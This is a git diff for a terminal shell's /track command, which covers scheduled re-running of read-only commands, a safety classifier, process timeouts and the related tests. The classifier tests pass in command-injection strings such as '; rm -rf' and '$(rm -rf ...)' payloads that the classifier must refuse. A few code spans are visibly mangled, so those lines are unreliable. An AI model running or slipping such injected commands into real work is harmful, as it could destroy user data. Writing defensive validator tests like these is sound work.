boolean; /** A watch waiting for the person's explicit Yes (unknown command, or a network target). */ - confirm?: {command: string; cwd: string; intervalMs?: number; reason: string; choice: 'yes' | 'no'}; + confirm?: {command: string; cwd: string; intervalMs?: number; reason: string; choice: 'yes' | 'no'; /** Started as /track: it gets a live transcript block. */ track?: boolean}; message?: string; } -export type WatchPanelAction = {kind: 'close'} | {kind: 'pause' | 'resume' | 'stop' | 'now'; id: string} | {kind: 'confirm'}; +export type WatchPanelAction = {kind: 'close'} | {kind: 'pause' | 'resume' | 'stop' | 'now' | 'copy'; id: string} | {kind: 'confirm'}; const formatEvery = (ms: number) => ms % 60_000 === 0 ? `${ms / 60_000}m` : `${Math.round(ms / 100) / 10}s`; const ago = (ms: number) => ms < 60_000 ? `${Math.round(ms / 1000)}s` : `${Math.floor(ms / 60_000)}m ${Math.round((ms % 60_000) / 1000)}s`; +const runStatus = (run: WatchTask['current']): string => !run ? 'waiting for first result' : run.timedOut ? 'timed out' : run.error ? 'process error' : run.signal ? `signal ${run.signal}` : `exit ${run.exitCode}`; export function watchPanelKey(state: WatchPanelState, key: Key, watches: readonly WatchTask[]): WatchPanelAction | undefined { if (state.confirm) { @@ -37,6 +38,7 @@ export function watchPanelKey(state: WatchPanelState, key: Key, watches: readonl const letter = key.value.toLowerCase(); if (letter === 'p') return {kind: watch.status === 'paused' ? 'resume' : 'pause', id: watch.id}; if (letter === 'r') return {kind: 'now', id: watch.id}; + if (letter === 'c') return {kind: 'copy', id: watch.id}; if (letter === 's') return {kind: 'stop', id: watch.id}; } return undefined; @@ -47,10 +49,11 @@ export function watchRow(watch: WatchTask, now: number): string { const subtle = foreground(UI_COLORS.subtle); const secondary = foreground(UI_COLORS.secondary); const reset = '\u001b[0m'; - const state = watch.current ? (watch.current.exitCode === 0 ? foreground(UI_COLORS.success) : foreground(UI_COLORS.failure)) : subtle; + const state = watch.current ? (watch.current.exitCode === 0 && !watch.current.timedOut && !watch.current.error ? foreground(UI_COLORS.success) : foreground(UI_COLORS.failure)) : subtle; const mark = watch.status === 'paused' ? '‖' : '◉'; - return `${state}${mark}${reset} ${secondary}Watching · ${watch.command.slice(0, 40)}${reset}${subtle} · every ${formatEvery(watch.intervalMs)}${watch.summary ? ` · ${watch.summary}` : ''}` - + `${watch.changes.length ? ' · changed' : ''} · runs ${watch.runs}${watch.status === 'paused' ? ' · paused' : ` · ${ago(now - watch.startedAt)}`}${reset}`; + const last = watch.current ? ` · updated ${ago(Math.max(0, now - watch.current.at - watch.current.durationMs))} ago · ${runStatus(watch.current)}` : ' · first run pending'; + return `${state}${mark}${reset} ${secondary}Track · ${watch.command.slice(0, 40)}${reset}${subtle} · every ${formatEvery(watch.intervalMs)}${watch.summary ? ` · ${watch.summary}` : ''}` + + `${watch.changes.length ? ' · changed' : ''} · runs ${watch.runs}${watch.status === 'paused' ? ' · paused' : last}${reset}`; } export function renderWatchPanel(state: WatchPanelState, watches: readonly WatchTask[], columns: number, now: number, rowsAvailable: number): string[] { @@ -59,8 +62,12 @@ export function renderWatchPanel(state: WatchPanelState, watches: readonly Watch const subtle = foreground(UI_COLORS.subtle); const accent = foreground(UI_COLORS.accent); const reset = '\u001b[0m'; - const rows = [`${primary} Watch${reset}`]; + const rows = [`${primary} Live commands · /track / /watch${reset}`]; if (state.confirm) { + if (columns < 40 || rowsAvailable < 10) { + return [`${primary} Resize to review tracked command (40 columns, 14 rows)${reset}`, + `${secondary} Confirmation is disabled at this size. Esc cancels.${reset}`].map(row => truncateAnsi(row, columns)); + } const yes = state.confirm.choice === 'yes'; rows.push('', ` ${primary}Watch ${state.confirm.command}?${reset}`, ` ${secondary}${state.confirm.reason}${reset}`, ` ${subtle}It runs in ${state.confirm.cwd}, every ${formatEvery(state.confirm.intervalMs ?? 5000)}, until you stop it.${reset}`, '', @@ -69,7 +76,7 @@ export function renderWatchPanel(state: WatchPanelState, watches: readonly Watch return rows.map(row => truncateAnsi(row, columns)); } if (!watches.length) { - rows.push('', ` ${secondary}Nothing is being watched.${reset}`, ` ${subtle}/watch git status · /watch --every 10s npm test · stop with /watch stop${reset}`); + rows.push('', ` ${secondary}No active command trackers.${reset}`, ` ${subtle}/track df -h /Volumes/T7Projects · /track --every 5s -- docker system df${reset}`); if (state.message) rows.push('', ` ${secondary}${state.message}${reset}`); rows.push('', renderControls([['Esc', 'close']])); return rows.map(row => truncateAnsi(row, columns)); @@ -80,14 +87,14 @@ export function renderWatchPanel(state: WatchPanelState, watches: readonly Watch if (state.output) { const lines = (watch.current?.output ?? '').split('\n'); const room = Math.max(4, rowsAvailable - rows.length - 3); - rows.push(` ${subtle}Current output · ${lines.length} lines${lines.length > room ? ` (last ${room})` : ''}${reset}`, ...lines.slice(-room).map(line => ` ${line}`)); + rows.push(` ${subtle}Latest completed output · ${lines.length} lines${lines.length > room ? ` (last ${room})` : ''} · ${runStatus(watch.current)}${watch.current?.truncated ? ' · output truncated' : ''}${reset}`, ...lines.slice(-room).map(line => ` ${line}`)); } else { - rows.push(` ${subtle}Current${reset} ${secondary}${watch.summary ?? (watch.current ? `exit ${watch.current.exitCode}` : 'running…')}${reset}`); + rows.push(` ${subtle}Current${reset} ${secondary}${watch.current?.timedOut || watch.current?.error || watch.current?.signal ? runStatus(watch.current) : watch.summary ?? (watch.current ? runStatus(watch.current) : 'running…')}${watch.current?.truncated ? ' · truncated' : ''}${reset}`); if (watch.previous) rows.push(` ${subtle}Previous${reset} ${secondary}${watch.previousSummary ?? `exit ${watch.previous.exitCode}`}${reset}`); rows.push(` ${subtle}Changed${reset} ${watch.changes.length ? '' : `${secondary}nothing since the last run${reset}`}`, ...watch.changes.map(line => ` ${line.startsWith('✗') || line.startsWith('-') ? foreground(UI_COLORS.failure) : line.startsWith('✓') || line.startsWith('+') ? foreground(UI_COLORS.success) : secondary}${line}${reset}`)); rows.push(` ${subtle}Runs ${watch.runs} · ${ago(now - watch.startedAt)}${watch.network ? ' · repeated network access' : ''}${reset}`); } if (state.message) rows.push('', ` ${secondary}${state.message}${reset}`); - rows.push('', renderControls([['↑↓', 'select'], ['Enter', state.output ? 'summary' : 'view output'], ['P', watch.status === 'paused' ? 'resume' : 'pause'], ['R', 'run now'], ['S', 'stop'], ['Esc', 'close']])); + rows.push('', renderControls([['↑↓', 'select'], ['Enter', state.output ? 'summary' : 'view output'], ['P', watch.status === 'paused' ? 'resume' : 'pause'], ['R', 'run now'], ['C', 'copy latest'], ['S', 'stop'], ['Esc', 'close']])); return rows.map(row => truncateAnsi(row, columns)); } diff --git a/src/tasks/WatchTasks.ts b/src/tasks/WatchTasks.ts index d051bab1..0512aa0c 100644 --- a/src/tasks/WatchTasks.ts +++ b/src/tasks/WatchTasks.ts @@ -1,5 +1,7 @@ import {spawn, type ChildProcess} from 'node:child_process'; +import {StringDecoder} from 'node:string_decoder'; import {classifyCommand, splitCommands, type PasteKind} from '../input/pasteGuard.js'; +import {stripTerminalControls} from '../util/terminalControls.js'; /** * /watch: NMSh runs a command again and again on its own schedule (never a @@ -19,9 +21,27 @@ const REFUSED: ReadonlySet = new Set(['install', 'modifies', 'destruc export const DEFAULT_INTERVAL_MS = 5000; export const MIN_LOCAL_MS = 2000; export const MIN_REMOTE_MS = 15000; +export const MAX_INTERVAL_MS = 3_600_000; +export const MAX_ACTIVE_WATCHES = 8; +const MAX_COMMAND = 4096; const MAX_OUTPUT = 200_000; +const STOP_GRACE_MS = 1500; export function watchSafety(command: string): WatchSafety { + if (!command.trim() || command.length > MAX_COMMAND || /[\u0000-\u001f\u007f]/u.test(command)) { + return {kind: 'refused', reason: 'A tracked command must be nonempty, single-line and at most 4096 characters.'}; + } + // A harmless-looking first word is not evidence that embedded shell execution is safe. + // Fail closed rather than scheduling substitutions, backticks or process substitutions. + if (/\$\(|`|[<>]\(/u.test(command)) { + return {kind: 'refused', reason: 'Shell and process substitutions cannot be tracked repeatedly.'}; + } + const outsideQuotes = command.replace(/"(?:\\.|[^"\\])*"|'[^']*'/gu, '""'); + // Detached shell jobs would outlive the observed sample and multiply on every + // tick; heredocs also need a different stdin/input-ownership contract. + if (/(?:^|[^&])&(?!&)|<.'}; const value = Number(every[1]); const unit = every[2] ?? 's'; - const intervalMs = unit === 'ms' ? value : /^m/u.test(unit) && unit !== 'ms' ? value * 60_000 : value * 1000; - return {command: text.trim().slice(every[0].length).trim(), intervalMs}; + const multiplier = unit === 'ms' ? 1 : /^(?:m|min|minute)/u.test(unit) ? 60_000 : 1000; + const intervalMs = value * multiplier; + if (!Number.isFinite(intervalMs) || intervalMs <= 0 || intervalMs > MAX_INTERVAL_MS) { + return {command: '', error: 'Interval must be positive and at most 60 minutes.'}; + } + const command = input.slice(every[0].length).replace(/^--(?:\s+|$)/u, '').trim(); + if (!command) return {command: '', error: 'Provide a finite command after the interval.'}; + return {command, intervalMs}; } -export interface WatchRun {output: string; exitCode: number | null; at: number; durationMs: number} +export interface WatchRun {output: string; exitCode: number | null; at: number; durationMs: number; truncated?: boolean; timedOut?: boolean; error?: string; signal?: string | null} export interface WatchTask { id: string; @@ -109,9 +141,17 @@ export class WatchTasks { readonly watches: WatchTask[] = []; private readonly timers = new Map(); private readonly children = new Map(); + private readonly killTimers = new Map(); private readonly listeners = new Set<(watch: WatchTask, transition?: 'pass' | 'fail') => void>(); - constructor(private readonly shell: string = '/bin/sh', private readonly now: () => number = Date.now, private readonly env: NodeJS.ProcessEnv = process.env) {} + /** + * `env` may be a function, read at every sample: the window passes its launch environment with the live shell's + * PATH, so a tracked command finds what the shell finds (never its aliases, functions or unexported variables). + */ + constructor(private readonly shell: string = '/bin/sh', private readonly now: () => number = Date.now, private readonly env: NodeJS.ProcessEnv | (() => NodeJS.ProcessEnv) = process.env) {} + + /** Whether a sample of this watch is running now. */ + sampling(id: string): boolean { return this.children.has(id); } onChange(listener: (watch: WatchTask, transition?: 'pass' | 'fail') => void): () => void { this.listeners.add(listener); return () => this.listeners.delete(listener); } private emit(watch: WatchTask, transition?: 'pass' | 'fail'): void { for (const listener of this.listeners) listener(watch, transition); } @@ -121,6 +161,17 @@ export class WatchTasks { /** Start watching a command already judged allowed (or confirmed). The first run starts at once. */ start(command: string, cwd: string, intervalMs: number | undefined, safety: Exclude): WatchTask { + if (this.active().length >= MAX_ACTIVE_WATCHES) throw new Error(`At most ${MAX_ACTIVE_WATCHES} active trackers can run.`); + // Stopped rows do not appear in the manager; do not retain unlimited stale records. + if (this.watches.length >= 128) { + for (let index = 0; index < this.watches.length && this.watches.length > 64;) { + if (this.watches[index]?.status === 'stopped') this.watches.splice(index, 1); + else index += 1; + } + } + if (intervalMs !== undefined && (!Number.isFinite(intervalMs) || intervalMs <= 0 || intervalMs > MAX_INTERVAL_MS)) { + throw new Error('Invalid tracking interval.'); + } counter += 1; const minimum = safety.remote ? MIN_REMOTE_MS : MIN_LOCAL_MS; const watch: WatchTask = {id: `watch-${counter}`, command, cwd, intervalMs: Math.max(minimum, intervalMs ?? DEFAULT_INTERVAL_MS), startedAt: this.now(), runs: 0, @@ -131,30 +182,69 @@ export class WatchTasks { } /** Run once now (skipped while a run is still in flight: runs never overlap). */ - runNow(id: string): void { + runNow(id: string): boolean { const watch = this.get(id); - if (!watch || watch.status === 'stopped' || this.children.has(id)) return; + if (!watch || watch.status === 'stopped' || this.children.has(id)) return false; + const timer = this.timers.get(id); + if (timer) clearTimeout(timer); + this.timers.delete(id); const started = this.now(); let output = ''; + let receivedBytes = 0; + let truncated = false; + let timedOut = false; + let spawnError: string | undefined; + const stdoutDecoder = new StringDecoder('utf8'); + const stderrDecoder = new StringDecoder('utf8'); let child: ChildProcess; try { - child = spawn(this.shell, ['-c', watch.command], {cwd: watch.cwd, env: {...this.env, NO_COLOR: '1', FORCE_COLOR: '0'}, detached: true, stdio: ['ignore', 'pipe', 'pipe']}); - } catch (error) { this.record(watch, {output: String(error), exitCode: -1, at: started, durationMs: 0}); return; } + const env = typeof this.env === 'function' ? this.env() : this.env; + child = spawn(this.shell, ['-c', watch.command], {cwd: watch.cwd, env: {...env, NO_COLOR: '1', FORCE_COLOR: '0'}, detached: true, stdio: ['ignore', 'pipe', 'pipe']}); + } catch (error) { + this.record(watch, {output: stripTerminalControls(String(error), MAX_OUTPUT), exitCode: -1, at: started, durationMs: 0, error: 'spawn failed'}); + return true; + } this.children.set(id, child); - const take = (chunk: Buffer) => { if (output.length < MAX_OUTPUT) output += chunk.toString().slice(0, MAX_OUTPUT - output.length); }; - child.stdout?.on('data', take); - child.stderr?.on('data', take); - // A run never outlives a few intervals (bounded at a minute). - const limit = setTimeout(() => { try { if (child.pid) process.kill(-child.pid, 'SIGKILL'); } catch { /* gone */ } }, Math.min(60_000, watch.intervalMs * 3)); + const take = (decoder: StringDecoder, chunk: Buffer) => { + const kept = Math.min(chunk.length, Math.max(0, MAX_OUTPUT - receivedBytes)); + if (kept) { receivedBytes += kept; output += decoder.write(chunk.subarray(0, kept)); } + if (kept < chunk.length) truncated = true; + }; + child.stdout?.on('data', (chunk: Buffer) => take(stdoutDecoder, chunk)); + child.stderr?.on('data', (chunk: Buffer) => take(stderrDecoder, chunk)); + // Timeout is not a successful completion, even when the shell exits on a signal. + const limit = setTimeout(() => { + timedOut = true; + this.signalGroup(child, 'SIGKILL'); + // A detached descendant may retain pipe FDs after the tracked shell dies. + // Stop consuming it; the sample must not wait on an unrelated pipe holder. + child.stdout?.destroy(); + child.stderr?.destroy(); + }, Math.min(60_000, watch.intervalMs * 3)); limit.unref(); - const done = (code: number | null) => { + child.on('error', error => { spawnError = String(error); }); + // Only 'close' guarantees the captured stdio has finished, unlike 'exit'. + child.on('close', (code, signal) => { clearTimeout(limit); + const killTimer = this.killTimers.get(id); + if (killTimer) clearTimeout(killTimer); + this.killTimers.delete(id); if (this.children.get(id) !== child) return; this.children.delete(id); - this.record(watch, {output: output.replace(/\u001b\[[0-?]*[ -/]*[@-~]/gu, ''), exitCode: code, at: started, durationMs: this.now() - started}); - }; - child.on('error', () => done(-1)); - child.on('exit', code => done(code)); + output += stdoutDecoder.end() + stderrDecoder.end(); + const sanitized = output.split('\n').map(line => stripTerminalControls(line, MAX_OUTPUT)).join('\n'); + this.record(watch, {output: sanitized, exitCode: code ?? -1, at: started, durationMs: this.now() - started, + ...(truncated ? {truncated} : {}), ...(timedOut ? {timedOut} : {}), + ...(spawnError ? {error: stripTerminalControls(spawnError, 300)} : {}), + ...(signal ? {signal} : {})}); + }); + return true; + } + + private signalGroup(child: ChildProcess, signal: NodeJS.Signals): void { + if (!child.pid) return; + try { process.kill(-child.pid, signal); } + catch { try { child.kill(signal); } catch { /* already exited */ } } } private record(watch: WatchTask, run: WatchRun): void { @@ -200,15 +290,28 @@ export class WatchTasks { return true; } - /** Stop: no more runs, the in-flight run's process group is ended, nothing is left behind. */ + /** Stop scheduling, signal the owned process group, and bound graceful termination. */ stop(id: string): boolean { const watch = this.get(id); if (!watch || watch.status === 'stopped') return false; watch.status = 'stopped'; this.schedule(watch); const child = this.children.get(id); - this.children.delete(id); - if (child?.pid) { try { process.kill(-child.pid, 'SIGTERM'); } catch { try { child.kill('SIGTERM'); } catch { /* gone */ } } } + if (child) { + this.signalGroup(child, 'SIGTERM'); + const pending = this.killTimers.get(id); + if (pending) clearTimeout(pending); + const killTimer = setTimeout(() => { + this.killTimers.delete(id); + if (this.children.get(id) === child) { + this.signalGroup(child, 'SIGKILL'); + child.stdout?.destroy(); + child.stderr?.destroy(); + } + }, STOP_GRACE_MS); + killTimer.unref(); + this.killTimers.set(id, killTimer); + } this.emit(watch); return true; } diff --git a/src/tasks/trackBlock.ts b/src/tasks/trackBlock.ts new file mode 100644 index 00000000..07df7446 --- /dev/null +++ b/src/tasks/trackBlock.ts @@ -0,0 +1,80 @@ +import {displaySafe} from '../input/PasteReview.js'; +import {colorLevel} from '../presentation/capabilities.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {truncateAnsi, truncateText} from '../util/text.js'; +import type {WatchRun, WatchTask} from './WatchTasks.js'; + +/** + * A /track block's live rows (#393), drawn under its stored lines and replaced on every refresh: a status row that + * says only what is known (first run pending, refreshing, when the last result completed and how, paused, stale, + * stopped), then the latest completed result. The result keeps a stable height (the largest seen, at most + * MAX_TRACK_ROWS) so a shorter refresh never moves what is below it; a longer one says how much is not shown. + */ + +export const MAX_TRACK_ROWS = 12; +const RESET = '\u001b[0m'; + +const clock = (at: number) => new Date(at).toLocaleTimeString('en-GB', {hour12: false}); +const every = (ms: number) => ms % 60_000 === 0 ? `${ms / 60_000}m` : `${Math.round(ms / 100) / 10}s`; +const span = (ms: number) => ms < 60_000 ? `${Math.round(ms / 1000)}s` : `${Math.floor(ms / 60_000)}m ${Math.round((ms % 60_000) / 1000)}s`; + +/** How a completed sample ended, in words: never a healthy result when it was not one. */ +export function runOutcome(run: WatchRun): {text: string; ok: boolean} { + if (run.timedOut) return {text: `timed out after ${span(run.durationMs)}`, ok: false}; + if (run.error) return {text: `could not run: ${run.error}`, ok: false}; + if (run.signal) return {text: `ended by ${run.signal}`, ok: false}; + return run.exitCode === 0 ? {text: 'exit 0', ok: true} : {text: `exit ${run.exitCode}`, ok: false}; +} + +export function trackStatus(watch: WatchTask, now: number, sampling: boolean): string { + const color = colorLevel() !== 'none'; + const paint = (role: keyof typeof UI_COLORS) => color ? foreground(UI_COLORS[role]) : ''; + const run = watch.current; + const outcome = run && runOutcome(run); + const finished = run ? run.at + run.durationMs : undefined; + const parts: string[] = []; + let mark: string; + let role: keyof typeof UI_COLORS = 'subtle'; + if (watch.status === 'stopped') { mark = '■'; parts.push('stopped'); } + else if (watch.status === 'paused') { mark = '‖'; parts.push('paused'); } + else if (!run) { mark = '◌'; parts.push(sampling ? 'first run…' : 'first run pending'); } + else { mark = '◉'; role = outcome!.ok ? 'success' : 'failure'; parts.push('live'); } + parts.push(`every ${every(watch.intervalMs)}`); + if (run && outcome) parts.push(`updated ${clock(finished!)}`, outcome.text); + if (run?.truncated) parts.push('output cut at 200 kB'); + if (watch.status === 'running' && run && now - finished! > watch.intervalMs * 2 + 5000) parts.push(`no new result for ${span(now - finished!)}`); + if (watch.status === 'running' && run && sampling) parts.push('refreshing…'); + parts.push(`${watch.runs} run${watch.runs === 1 ? '' : 's'}`); + return `${paint(role)}${mark}${RESET} ${paint('secondary')}${parts.join(' · ')}${RESET}`; +} + +export function trackBlockRows(watch: WatchTask | undefined, width: number, now: number, reserved: number, sampling = false): {rows: string[]; reserved: number} { + const color = colorLevel() !== 'none'; + const subtle = color ? foreground(UI_COLORS.subtle) : ''; + const fit = (text: string) => truncateText(text, Math.max(1, width - 4)); + if (!watch) return {rows: [` ${subtle}■ not running: trackers stop with the window that started them${RESET}`], reserved: 0}; + const status = truncateAnsi(` ${trackStatus(watch, now, sampling)}`, width); + // Stopped by the person: the final result was written into the transcript; the live rows end here. + if (watch.status === 'stopped') return {rows: [status], reserved: 0}; + const lines = watch.current ? watch.current.output.replace(/\n$/u, '').split('\n') : []; + const height = Math.max(reserved, Math.min(MAX_TRACK_ROWS, Math.max(1, lines.length))); + const body: string[] = []; + if (!watch.current) body.push(` ${subtle}waiting for the first result…${RESET}`); + else { + const take = lines.length > height ? height - 1 : lines.length; + for (const line of lines.slice(0, take)) body.push(` ${fit(displaySafe(line))}`); + if (take < lines.length) body.push(` ${subtle}${fit(`… ${lines.length - take} more lines · /track copy copies them all`)}${RESET}`); + } + while (body.length < height) body.push(''); + return {rows: [status, ...body], reserved: height}; +} + +/** The final result written into the transcript when the person stops a tracker: bounded, plain, said once. */ +export function finalResultRows(watch: WatchTask, maxLines = 200): string[] { + const run = watch.current; + if (!run) return [`Stopped before the first result · ${watch.runs} runs`]; + const lines = run.output.replace(/\n$/u, '').split('\n'); + const kept = lines.slice(0, maxLines).map(line => displaySafe(line)); + return [`Stopped · last result ${clock(run.at + run.durationMs)} · ${runOutcome(run).text} · ${watch.runs} run${watch.runs === 1 ? '' : 's'}`, ...kept, + ...(lines.length > maxLines ? [`… ${lines.length - maxLines} more lines were not kept`] : [])]; +} diff --git a/tests/semanticOutput.test.ts b/tests/semanticOutput.test.ts index dee6441a..63b3cb1c 100644 --- a/tests/semanticOutput.test.ts +++ b/tests/semanticOutput.test.ts @@ -113,38 +113,38 @@ test('presentation: an overview row inside the block, details by the raw fold, n const pass = block(buffer, 'npm test', passingRun, 0); const before = JSON.stringify(buffer.transcript().lines); const rows = buffer.wrapped(100); - const overview = rows.filter(row => row.isSemantic); + const overview = rows.filter(row => row.derived); assert.deepEqual(overview.map(row => row.plain), [' ✔ node --test · 12 passed · 0 failed']); assert.equal(overview[0]!.blockStartId, pass.startId, 'the row belongs to its block'); - assert.ok(rows.findIndex(row => row.isSemantic) < rows.findIndex(row => row.plain.includes('test 0')), 'before the output'); + assert.ok(rows.findIndex(row => row.derived) < rows.findIndex(row => row.plain.includes('test 0')), 'before the output'); assert.equal(JSON.stringify(buffer.transcript().lines), before, 'drawing a reading stores nothing'); assert.equal(logicalLines(rows).some(line => line.text.includes('node --test')), false, 'raw search never sees derived rows'); const fail = block(buffer, 'npm test', failingRun, 1); - const failRows = buffer.wrapped(100).filter(row => row.isSemantic && row.blockStartId === fail.startId); + const failRows = buffer.wrapped(100).filter(row => row.derived && row.blockStartId === fail.startId); assert.equal(fail.expanded, true, 'a short failing output stays expanded'); assert.deepEqual(failRows.map(row => row.plain), [' ✘ node --test · 1 passed · 2 failed', ' › 2 failing tests · click or Actions to show'], 'raw is expanded, so the details (what it shows) start closed'); assert.equal(failRows[1]!.semanticToggle, fail.startId); assert.ok(buffer.toggleSemanticDetails(fail.startId)); - assert.deepEqual(buffer.wrapped(100).filter(row => row.isSemantic && row.blockStartId === fail.startId).map(row => row.plain).slice(1), + assert.deepEqual(buffer.wrapped(100).filter(row => row.derived && row.blockStartId === fail.startId).map(row => row.plain).slice(1), [' ⌄ 2 failing tests', ' ✘ broken one', ' ✘ broken two']); buffer.toggleExpanded(0); assert.equal(buffer.semanticDetailsOpen(fail), true, 'folding the raw output leaves the reader\'s choice alone'); buffer.setSemanticOutput(false); - assert.equal(buffer.wrapped(100).some(row => row.isSemantic), false, 'Off: raw only'); + assert.equal(buffer.wrapped(100).some(row => row.derived), false, 'Off: raw only'); assert.equal(buffer.semanticFor(fail), undefined); }); test('presentation: short passing output reads well already; failures and diagnostics are always summarized', () => { const buffer = new OutputBuffer(); block(buffer, 'npm test', lines('ℹ tests 1', 'ℹ pass 1', 'ℹ fail 0'), 0); - assert.equal(buffer.wrapped(80).some(row => row.isSemantic), false); + assert.equal(buffer.wrapped(80).some(row => row.derived), false); block(buffer, 'make', "a.c:1:1: error: nope", 2); - assert.deepEqual(buffer.wrapped(80).filter(row => row.isSemantic).map(row => row.plain), [' ✘ GCC/Clang · 1 error', ' › 1 diagnostic · click or Actions to show']); + assert.deepEqual(buffer.wrapped(80).filter(row => row.derived).map(row => row.plain), [' ✘ GCC/Clang · 1 error', ' › 1 diagnostic · click or Actions to show']); block(buffer, 'git status', lines('On branch main', 'nothing to commit, working tree clean'), 0); - assert.equal(buffer.wrapped(80).filter(row => row.isSemantic).length, 2, 'unrecognized output gets nothing'); + assert.equal(buffer.wrapped(80).filter(row => row.derived).length, 2, 'unrecognized output gets nothing'); }); test('/copy: --raw, --semantic and --both are one choice, never with --report or the picker; semantic copies fall back to raw once', () => { diff --git a/tests/track.test.ts b/tests/track.test.ts new file mode 100644 index 00000000..fb8e3115 --- /dev/null +++ b/tests/track.test.ts @@ -0,0 +1,246 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; +import {parseWatch, watchSafety, WatchTasks, MIN_LOCAL_MS} from '../src/tasks/WatchTasks.js'; +import {renderWatchPanel, watchPanelKey, watchRow} from '../src/tasks/WatchPanel.js'; +import {stripAnsi} from '../src/util/text.js'; + +function waitFor(predicate: () => boolean, timeoutMs = 5000): Promise { + return new Promise((resolve, reject) => { + const started = Date.now(); + const tick = () => { + if (predicate()) { resolve(); return; } + if (Date.now() - started > timeoutMs) { reject(new Error('track did not reach expected state')); return; } + setTimeout(tick, 20); + }; + tick(); + }); +} + +test('/track shares the /watch scheduler and parser; it is flagged for its transcript block', () => { + assert.deepEqual(parseSlashCommand('/track df -h /Volumes/T7Projects'), + {kind: 'watch', op: 'start', arguments: 'df -h /Volumes/T7Projects', track: true}); + assert.deepEqual(parseSlashCommand('/track --every 5s -- docker system df'), + {kind: 'watch', op: 'start', arguments: '--every 5s -- docker system df', track: true}); + for (const text of ['/track', '/track list']) { + assert.deepEqual(parseSlashCommand(text), {kind: 'watch', op: 'list', arguments: '', track: true}); + } + assert.deepEqual(parseSlashCommand('/track refresh 2'), {kind: 'watch', op: 'now', arguments: '2', track: true}); + assert.deepEqual(parseSlashCommand('/track pause'), {kind: 'watch', op: 'pause', arguments: '', track: true}); + assert.deepEqual(parseSlashCommand('/track resume 1'), {kind: 'watch', op: 'resume', arguments: '1', track: true}); + assert.deepEqual(parseSlashCommand('/track stop all'), {kind: 'watch', op: 'stop', arguments: 'all', track: true}); + assert.deepEqual(parseSlashCommand('/watch stop 2'), {kind: 'watch', op: 'stop', arguments: '2'}, + 'existing /watch commands must remain compatible'); + assert.deepEqual(parseSlashCommand('/track copy 2'), {kind: 'watch', op: 'copy', arguments: '2', track: true}); + assert.deepEqual(parseSlashCommand('/watch copy'), {kind: 'watch', op: 'start', arguments: 'copy'}, 'copy is a /track word only'); + assert.deepEqual(parseWatch('df -h /Volumes/T7Projects'), + {command: 'df -h /Volumes/T7Projects'}); + assert.deepEqual(parseWatch('--every 5s -- docker system df'), + {command: 'docker system df', intervalMs: 5000}); + assert.deepEqual(parseWatch('--every 2s -- df -h /Volumes/T7Projects'), + {command: 'df -h /Volumes/T7Projects', intervalMs: MIN_LOCAL_MS}); + assert.deepEqual(parseWatch('--every 1500ms -- docker system df'), + {command: 'docker system df', intervalMs: 1500}); + assert.deepEqual(parseWatch('--every 2 minutes -- df -h /Volumes/T7Projects'), + {command: 'df -h /Volumes/T7Projects', intervalMs: 120000}); + for (const invalid of ['--every', '--every 5s', '--every -1s -- df', '--every 1e100s df', '--every 0s df', + '--every 99999999999999999999999999999999999999m df', '--every 61m df', '--every banana df']) { + assert.ok(parseWatch(invalid).error, invalid); + } +}); + +test('/track classifies disk information as read-only, but never assumes Docker writes are safe', () => { + assert.equal(watchSafety('df -h /Volumes/T7Projects').kind, 'allowed'); + assert.equal(watchSafety('docker system df').kind, 'allowed'); + assert.equal(watchSafety('docker system df -v').kind, 'allowed'); + assert.equal(watchSafety('docker system prune').kind, 'confirm'); + assert.equal(watchSafety('docker system df; rm -rf /tmp/x').kind, 'refused'); + assert.equal(watchSafety('docker system df && docker system prune').kind, 'confirm'); + assert.equal(watchSafety('sudo docker system df').kind, 'refused'); + assert.equal(watchSafety('docker system df $(touch /tmp/unsafe)').kind, 'refused'); + assert.equal(watchSafety('df -h /Volumes/T7Projects $(rm -rf /tmp/x)').kind, 'refused'); + assert.equal(watchSafety('df -h `touch /tmp/x`').kind, 'refused'); + assert.equal(watchSafety('docker system df > /tmp/report').kind, 'refused'); + assert.equal(watchSafety('df -h /tmp &').kind, 'refused'); + assert.equal(watchSafety('df -h /tmp < { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-')); + const engine = new WatchTasks('/bin/sh'); + try { + const task = engine.start('sleep 0.3; printf "sample\\n"', cwd, 2000, + {kind: 'allowed', network: false, remote: false}); + assert.equal(engine.runNow(task.id), false, 'a running sample refuses concurrent refresh'); + assert.equal(engine.runNow(task.id), false); + await waitFor(() => task.runs === 1); + assert.equal(task.runs, 1, 'manual refresh must not overlap a running sample'); + assert.equal(task.current?.output, 'sample\n'); + assert.equal(task.previous, undefined, 'no artificial previous sample'); + assert.equal(engine.active().length, 1); + assert.match(stripAnsi(watchRow(task, Date.now())), /Track · sleep 0\.3.*updated/u); + assert.deepEqual(watchPanelKey({selected: 0, output: true}, {kind: 'text', value: 'c'}, [task]), + {kind: 'copy', id: task.id}, 'copy targets exactly the selected tracker'); + assert.match(stripAnsi(renderWatchPanel({selected: 0, output: true}, [task], 100, Date.now(), 20).join('\n')), + /Latest completed output[\s\S]*sample/u); + assert.equal(engine.runNow(task.id), true, 'refresh begins after completion'); + await waitFor(() => task.runs === 2); + assert.equal(task.current?.output, 'sample\n'); + assert.equal(task.previous?.output, 'sample\n'); + assert.equal(task.changes.length, 0); + assert.ok(engine.pause(task.id)); + assert.equal(engine.scheduled, 0); + assert.ok(engine.resume(task.id)); + assert.ok(engine.stop(task.id)); + assert.equal(engine.active().length, 0); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + +test('/track strips terminal control sequences from the displayed snapshot', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-controls-')); + const engine = new WatchTasks('/bin/sh'); + try { + const task = engine.start('printf "\\033]0;bad-title\\007alpha\\n\\033[31mbeta\\033[0m\\n"', cwd, 5000, + {kind: 'allowed', network: false, remote: false}); + await waitFor(() => task.runs === 1); + assert.equal(task.current?.exitCode, 0); + assert.equal(task.current?.output, 'alpha\nbeta\n'); + assert.ok(engine.stop(task.id)); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + +test('/track bounds retained snapshots, preserves split UTF-8 and records truncation', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-bound-')); + const engine = new WatchTasks('/bin/sh'); + try { + const cmd = `node -e 'process.stdout.write("π"); process.stdout.write("x".repeat(250000))'`; + const task = engine.start(cmd, cwd, 2000, {kind: 